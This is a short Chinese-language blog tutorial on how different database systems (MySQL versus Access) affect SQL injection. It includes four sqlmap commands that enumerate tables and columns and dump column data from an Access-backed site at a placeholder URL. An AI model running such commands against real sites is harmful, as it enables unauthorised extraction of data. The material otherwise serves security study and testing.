數據庫管理系統對SQL注入的影響

Why

首先說明爲什麼不同呢?不同數據庫管理系統基本的SQL語句相同,但是支持的某些函數,數據庫的整體結構和組織方式是不相同的。比如mysql數據庫中特有的information_schema數據庫,裏面存有所有的數據庫名稱,以及各個數據庫中表的名稱等等信息。

對SQL注入的影響

數據庫管理系統的不同導致SQL注入時,進行利用的方式和難度不相同,Mysql數據庫中直接通過version()等函數以及infomation_schema數據庫得到數據庫版本,用戶名以及所有數據庫的信息。但access就不能通過這些方式。

SqlMAP對不同數據庫的處理

SqlMap在對access數據庫進行處理時,不能使用-dbs等選項,進行數據表的枚舉時,採用的是暴力破解的方式,字典位於txt/common-tables.txt中。

SqlMAP對Access數據庫架構網站注入的步驟如下:

sqlmap.py -u "http://ip/" --data="postdata" --level=5 --risk=3

sqlmap.py -u "http://ip/" --data="postdata" --level=5 --risk=3 --tables //枚舉表

sqlmap.py -u "http://ip/" --data="postdata" --level=5 --risk=3  --columns -T  "tablename"   // 枚舉列名

sqlmap.py -u "http://ip/" --data="postdata" --level=5 --risk=3 --dump -C "name1, name2" -T "tablename" //獲取name1, name 2列的數據

SqlMAP對mysql數據的注入步驟見《metasploit滲透測試魔鬼訓練營》 之 SQL注入

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章